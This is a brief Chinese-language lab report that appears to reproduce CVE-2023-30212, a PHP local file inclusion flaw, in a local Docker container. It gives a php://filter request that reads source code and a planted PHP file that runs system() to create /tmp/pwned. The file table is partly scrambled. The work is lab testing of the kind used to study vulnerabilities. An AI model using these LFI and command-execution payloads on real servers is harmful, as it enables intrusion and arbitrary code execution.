使用 Docker 的 CVE-2023-30212 PoC
本报告针对 Vulhub 中未收录的 CVE-2023-30212 漏洞,自行搭建基于 Docker 的易受攻击的 Web 环境,并通过 PoC 验证该漏洞。
php:8.1-apachevulnerable.php 和 malicious.php 复制到 /var/www/html 目录8088 端口从外部访问
| 文件名 | 说明 |
|---|---|
vulnerable.php | 存在 LFI 漏洞的 PHP 文件 |
malicious.php | 执行系统命令的恶意 PHP 文件 |
docker-compose.yml |
---
docker-compose up -d
容器名称: cve-2023-30212-cve-lfi-1
Apache 服务器启动后,可通过 http://localhost:8088 访问
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
将输出结果解码后,可确认以下 PHP 代码:
<?php system("touch /tmp/pwned"); ?>
http://localhost:8088/malicious.php
命令执行后,应生成 /tmp/pwned 文件。
docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp
如果结果中存在 pwned 文件,则表示成功。
通过基于 php://filter 的 LFI 漏洞,成功查看并解码恶意文件内容
通过调用包含 system() 函数的恶意 PHP,成功执行任意命令
已生成 /tmp/pwned 文件,PoC 验证完成
| 容器编排的配置文件 |
Dockerfile | 用于构建 Docker 镜像的配置文件 |